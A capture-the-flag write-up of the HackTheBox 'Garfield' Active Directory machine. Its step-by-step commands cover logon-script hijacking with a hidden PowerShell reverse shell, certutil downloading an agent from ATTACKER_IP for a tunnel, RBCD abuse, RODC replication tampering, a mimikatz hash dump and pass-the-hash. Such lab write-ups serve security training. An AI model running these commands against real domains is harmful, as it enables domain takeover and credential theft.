HTB - Garfield

Writeup for Garfield, a Hard Windows AD box from HackTheBox Season 10

HacktheboxSeason 109 min read

Garfield - Machine Season 10

Garfield is a Hard Windows Active Directory machine with assumed breach credentials. The domain contains a writable DC (DC01) and a Read-Only Domain Controller (RODC01) on an internal network. The initial user j.arbuckle can abuse scriptPath write permissions to hijack a logon script and capture a shell as l.wilson, who can force-change the password of l.wilson_adm to get WinRM access. For root, l.wilson_adm is in the Tier 1 group which can self-add to RODC Administrators, then abuse RBCD on the RODC to get Administrator access to it, modify the RODC password replication lists to allow the domain Administrator's hash to be cached, force replication with repadmin, extract the hash with mimikatz, and finally pass-the-hash to DC01 for root.

Summary

StepTechnique
ReconAssumed breach: j.arbuckle domain creds, DC01 + RODC01 discovered
UserscriptPath WRITE abuse → logon script reverse shell as l.wilson → ForceChangePassword l.wilson_adm → WinRM
RootTier 1 → AddSelf RODC Admins → RBCD on RODC01 → pivot to internal network → modify RODC replication lists → repadmin /rodcpwdrepl → mimikatz hash dump → PTH to DC01

Recon

Starting with the assumed breach credentials j.arbuckle:Th1sD4mnC4t!@1978, nmap reveals a pure AD domain controller with standard ports — no web server, no MSSQL.

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  adws
Service Info: Host: DC01; OS: Windows

Testing credentials across protocols — SMB and LDAP work, WinRM does not:

nxc smb $IP -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' -d garfield.htb
# SMB  [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978

nxc winrm $IP -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' -d garfield.htb
# WINRM [-] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978

nxc ldap $IP -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' -d garfield.htb
# LDAP  [+] garfield.htb\j.arbuckle:Th1sD4mnC4t!@1978

Enumerating users reveals only 7 accounts. The presence of krbtgt_8245 immediately signals a Read-Only Domain Controller (RODC):

nxc smb $IP -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --users
SMB  DC01  -Username-                -Last PW Set-       -BadPW-
SMB  DC01  Administrator             2025-10-03 17:29:26 0
SMB  DC01  Guest                     <never>             0
SMB  DC01  krbtgt                    2025-08-13 11:05:26 0
SMB  DC01  krbtgt_8245               2025-08-17 11:33:39 0
SMB  DC01  j.arbuckle                2025-09-09 15:50:55 0
SMB  DC01  l.wilson                  2026-01-27 21:40:33 0
SMB  DC01  l.wilson_adm              2026-01-13 14:56:35 0

Dumping computers confirms two DCs — DC01 (writable) and RODC01 (read-only) at internal IP 192.168.100.2:

nxc ldap $IP -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' -M dump-computers
DUMP-COM  DC01.garfield.htb   (Windows Server 2019 Standard)
DUMP-COM  RODC01.garfield.htb (Windows Server 2019 Datacenter)

Group membership for j.arbuckle:

nxc ldap $IP -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' -M groupmembership -o USER='j.arbuckle'
GROUPMEM  User: j.arbuckle is member of following groups:
GROUPMEM  IT Support
GROUPMEM  Domain Users

BloodHound shows that l.wilson has ForceChangePassword on l.wilson_adm, and l.wilson_adm has CanPSRemote on DC01.

Using bloodyAD to enumerate writable attributes reveals that j.arbuckle has scriptPath WRITE on l.wilson and l.wilson_adm:

bloodyAD -d garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --host $IP get writable --detail
distinguishedName: CN=Liz Wilson,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE

distinguishedName: CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
scriptPath: WRITE

distinguishedName: DC=garfield.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=garfield,DC=htb
dnsNode: CREATE_CHILD

writable

User - Logon Script Abuse

Since j.arbuckle can write the scriptPath attribute of l.wilson AND has write access to SYSVOL/scripts, the attack is straightforward: upload a malicious logon script and set l.wilson's scriptPath to point to it.

First, create a bat file with a PowerShell reverse shell:

printf '@echo off\r\npowershell -nop -w hidden -e <BASE64_REVSHELL>\r\n' > /tmp/printerDetect.bat

create-payload

Upload it to SYSVOL/scripts, overwriting the existing printerDetect.bat:

smbclient -U 'j.arbuckle%Th1sD4mnC4t!@1978' '//$IP/SYSVOL' -c 'put /tmp/printerDetect.bat "garfield.htb\scripts\printerDetect.bat"'

upload

Then set l.wilson's scriptPath to the bat file using bloodyAD:

bloodyAD -d garfield.htb -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' --host $IP set object 'l.wilson' 'scriptPath' -v 'printerDetect.bat'

scriptpath

When l.wilson logs in, the script executes and a reverse shell arrives as garfield\l.wilson on DC01.

shell

ForceChangePassword

bloodhound-python -c all -u 'j.arbuckle' -p 'Th1sD4mnC4t!@1978' -d garfield.htb -dc dc01.garfield.htb -ns $IP --zip

BloodHound shows that l.wilson has ForceChangePassword on l.wilson_adm:

forcechangepassword

From the shell as l.wilson, change l.wilson_adm's password using Set-ADAccountPassword:

Set-ADAccountPassword -Identity l.wilson_adm -Reset -NewPassword (ConvertTo-SecureString "Hacked2026!!" -AsPlainText -Force)

changepassword

User Flag

evil-winrm -i $IP -u 'l.wilson_adm' -p 'Hacked2026!!'
type C:\Users\l.wilson_adm\Desktop\user.txt

user

Root - RODC Replication Abuse

The path to root is a multi-step RODC attack. Further enumeration as l.wilson_adm with BloodHound reveals the ACLs needed:

  • l.wilson_adm is in Tier 1, which has AddSelf on RODC Administrators
  • l.wilson_adm has WriteAccountRestrictions on RODC01$ (including msDS-RevealOnDemandGroup and msDS-NeverRevealGroup)

bloodhound-root

The key insight is that l.wilson_adm can control which passwords the RODC caches by modifying its replication lists, then force the DC to replicate the Administrator's hash to the RODC.

Step 1: RODC Administrators

l.wilson_adm is in Tier 1, which has AddSelf on RODC Administrators:

bloodyAD -d garfield.htb -u 'l.wilson_adm' -p '<password>' --host $IP add groupMember 'RODC Administrators' 'l.wilson_adm'

rodcadmin

Step 2: RBCD on RODC01

Create a machine account and configure Resource-Based Constrained Delegation on RODC01$:

addcomputer.py -computer-name 'EVIL$' -computer-pass 'Password123!' -dc-ip $IP 'garfield.htb/l.wilson_adm:<password>'

addmachine

bloodyAD -d garfield.htb -u 'l.wilson_adm' -p '<password>' --host $IP add rbcd 'RODC01$' 'EVIL$'

rbcd

Use S4U2Self/S4U2Proxy to get a service ticket impersonating Administrator for RODC01:

getST.py -spn 'cifs/RODC01.garfield.htb' -impersonate 'Administrator' -dc-ip $IP 'garfield.htb/EVIL$:Password123!'
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache

getticket

Step 3: Pivot to RODC01

RODC01 is on the internal network at 192.168.100.2. Using ligolo-ng to create a tunnel through DC01:

# Attacker: setup tun interface and start proxy
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 192.168.100.0/24 dev ligolo
./ligolo-ng -selfcert

# DC01 (via evil-winrm): download and run agent
certutil -urlcache -split -f http://ATTACKER_IP:8000/agent.exe C:\Temp\agent.exe
C:\Temp\agent.exe -connect ATTACKER_IP:11601 -ignore-cert

# Ligolo proxy: select session and start tunnel
session
start

With the tunnel active, test access to RODC01 with the RBCD ticket:

export KRB5CCNAME=Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
wmiexec.py -k -no-pass -dc-ip $IP 'garfield.htb/Administrator@RODC01.garfield.htb' 'whoami'
# garfield\administrator

rodc-shell

Step 4: Modify RODC Replication Lists

The Administrator is in the Denied RODC Password Replication Group (via Domain Admins → Administrators), which is reflected in msDS-NeverRevealGroup on RODC01$. Since l.wilson_adm has WRITE on this attribute, we can add Administrator to the allowed list and remove the deny entries using ldap3:

With this simple script, we are able to apply the necessary modifications.

import ldap3
c = ldap3.Connection(ldap3.Server('ldap://DC01_IP'),
    'l.wilson_adm@garfield.htb', '<password>', auto_bind=True)

# Add Administrator to allowed replication
c.modify('CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb',
    {'msDS-RevealOnDemandGroup': [(ldap3.MODIFY_ADD,
    ['CN=Administrator,CN=Users,DC=garfield,DC=htb'])]})

# Remove deny entries
c.modify('CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb',
    {'msDS-NeverRevealGroup': [(ldap3.MODIFY_DELETE,
    ['CN=Administrators,CN=Builtin,DC=garfield,DC=htb'])]})
c.modify('CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb',
    {'msDS-NeverRevealGroup': [(ldap3.MODIFY_DELETE,
    ['CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb'])]})

modifyrepl

Step 5: Force Replication

With the replication lists modified, force DC01 to replicate the Administrator's password to RODC01 using repadmin from a shell on the RODC:

export KRB5CCNAME=Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
wmiexec.py -k -no-pass -dc-ip $IP 'garfield.htb/Administrator@RODC01.garfield.htb' 'repadmin /rodcpwdrepl RODC01.garfield.htb DC01.garfield.htb "CN=Administrator,CN=Users,DC=garfield,DC=htb"'
Successfully replicated secrets for user CN=Administrator,CN=Users,DC=garfield,DC=htb
on read-only DC RODC01.garfield.htb from full DC DC01.garfield.htb.

repadmin

Step 6: Extract Administrator Hash

The RODC now has the domain Administrator's hash cached. Extract it with mimikatz (uploaded to RODC01 via SMB C$ share):

wmiexec.py -k -no-pass -dc-ip $IP 'garfield.htb/Administrator@RODC01.garfield.htb' 'C:\Windows\Temp\mimikatz.exe privilege::debug "lsadump::lsa /patch /name:Administrator" exit'
Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357

RID  : 000001f4 (500)
User : Administrator
LM   :
NTLM : ee238f6debc752010428f20875b092d5

mimikatz

Step 7: Pass-the-Hash → Root

With the domain Administrator's NTLM hash, pass-the-hash directly to DC01:

nxc smb $IP -u 'Administrator' -H 'ee238f6debc752010428f20875b092d5' -d garfield.htb
# SMB  [+] garfield.htb\Administrator:ee238f6debc752010428f20875b092d5 (Pwn3d!)
evil-winrm -i $IP -u 'Administrator' -H ee238f6debc752010428f20875b092d5

root